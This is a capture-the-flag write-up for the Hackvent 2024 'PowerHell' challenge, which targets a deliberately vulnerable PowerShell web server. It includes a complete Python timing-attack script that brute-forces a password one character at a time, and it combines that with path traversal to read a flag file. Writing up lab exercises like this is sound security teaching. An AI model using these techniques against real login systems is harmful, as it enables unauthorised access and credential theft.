Hackvent 2024: Day 3
[HV24.03] PowerHell
Oh no! The devil has found some secret information about santa! And even worse, he hides them in a webserver written in powershell! Help Santa save christmas and hack yourself into the server.
Start the resource and get the flag.
In case you encounter any issues during solving, please try to connect via the HL VPN
Flag format: HV24{}
sha256sum of the handout: 3f8fe367efd41d17047642496260cbc97313ccc19484be151d4b07556d9b342a
This challenge was written by coderion. True mastery of extraordinary web servers.
Hackvent 2024 - Day 3 - HandoutSolution
We are given access to a website as well as the source code for said website.
Let's assume the website is hosted at: https://example.com
The homepage shows us a login form:
By inspecting the source code files, we can see that the passwords
directory contains files in the format of $username.txt
. There are two users, admin
and user
. The password for user
is cat
.
We can log in as the user
user but there is nothing interesting on the resulting dashboard page at:
https://example.com/dashboard?username=user&password=cat
Side note: The username
query parameter on this page leads to an XSS vulnerability, but this is not relevant for this challenge.
Our goal then becomes to learn the admin
password.
By inspecting the source code, we focus on this snippet in the authenticate.ps1
file:
$username = $request.QueryString["username"]
$password = $request.QueryString["password"]
if (Test-Path "passwords/$username.txt") {
$storedPassword = Get-Content -Raw -Path "passwords/$username.txt"
$isAuthenticated = $true
for ($i = 0; $i -lt $password.Length; $i++) {
if ($password[$i] -cne $storedPassword[$i]) {
$isAuthenticated = $false
Start-Sleep -Milliseconds 500 # brute-force prevention
break
}
}
There is a quirky behaviour here around the brute force prevention. The script checks that the provided password is correct compared to the password in the $storedPassword
file by checking character by character. If the current character is incorrect, there is a 500ms
delay before the response is returned. We can abuse this fact and brute-force the password character by character. If we guess a single character and it is the correct character, we will receive a faster response than if we guess an incorrect one. This reveals a timing attack vulnerability.
We write a script to brute-force the password for us:
# Hackvent 2024 - Day 3
# Mo Beigi
#
# Brute-force the PowerHell password!
import requests
import string
import time
target_url = "https://example.com/login"
username = "admin"
charset = string.punctuation + string.ascii_letters + string.digits
# Timing threshold in seconds
# Adjust based on your latency to server
threshold = 1.2
def test_password_partial(partial_password):
params = {
"username": username,
"password": partial_password
}
start_time = time.time()
response = requests.get(target_url, params=params)
elapsed_time = time.time() - start_time
return elapsed_time, response.status_code
def perform_timing_attack():
password = input("Enter known password prefix (leave empty if none): ")
print("[*] Starting timing attack...")
while True:
best_guess = None
for char in charset:
test_pass = password + char
elapsed_time, status_code = test_password_partial(test_pass)
print(f"[*] Testing: {test_pass} | Time: {elapsed_time:.4f}s")
# Select the first character whose response time is below the threshold
if elapsed_time < threshold:
best_guess = char
print(f"[+] Character found: {best_guess}")
break
# If no character exceeds the threshold, stop the attack
if not best_guess:
print("[*] Attack complete or no progress detected.")
break
# Append the best guess to the password
password += best_guess
print(f"[+] Current password: {password}")
return password
if __name__ == "__main__":
recovered_password = perform_timing_attack()
print(f"[+] Recovered password: {recovered_password}")
Our strategy involves testing character by character until we receive a faster-than-expected response.
We use a sensible charset which includes all alphanumeric characters and punctuation characters.
Some trial and error is required to fine-tune the threshold
parameter. In my testing, if my character was incorrect the response would take 1.27s
end to end. If my character was correct, the response would take 1.12s
end to end. As a result, I set my threshold to 1.2s
to allow me to distinguish correct and incorrect guesses.
Running the script eventually outputs the admin password which is Meow:3
.
At this point I login as the admin
user with the discovered password to see:
We discover the contents of the secret.txt
is:
Santa secretly likes pineapple on pizza... He's also never gonna give you up or let you down. But sadly, there's no flag here :c
Unfortunately, this is not the flag.
By inspecting the Dockerfile
we notice the line:
RUN ["/bin/sh", "-c", "echo 'HV24{f4k3_fl4g}' > flag.txt"]
This implies that we need to read the flag.txt
file in the root directory. This makes me highly suspicious of a path traversal vulnerability.
By reviewing the authenticate.ps1
file again, recall these lines:
$username = $request.QueryString["username"]
...
$storedPassword = Get-Content -Raw -Path "passwords/$username.txt"
We control the contents of $username
via the username
query parameter. Therefore, if we set the $username
to ../flag
, the path provided to Get-Content
becomes passwords/../flag.txt
, which resolves to flag.txt
!
Our assumption is that using this username, we can brute-force the contents of flag.txt
, which is presumably today's flag.
We can also validate our assumption here by testing the login
endpoint. If the username is incorrect, we see:
However, in our case the username is correct and we instead see:
This validates our assumption!
Therefore, we modify our existing script and set the username
variable to ../flag
.
We then rerun the brute-force attempt as before (providing the prefix HV24{
to speed things up).
Soon the script begins printing each correct character it finds as it goes. I end up googling the first 4 characters of the flag prematurely and get many search results related to Rickrolling. It turns out today's flag is the YouTube video ID for the Rickroll video!
Flag:
HV24{dQw4w9WgXcQ}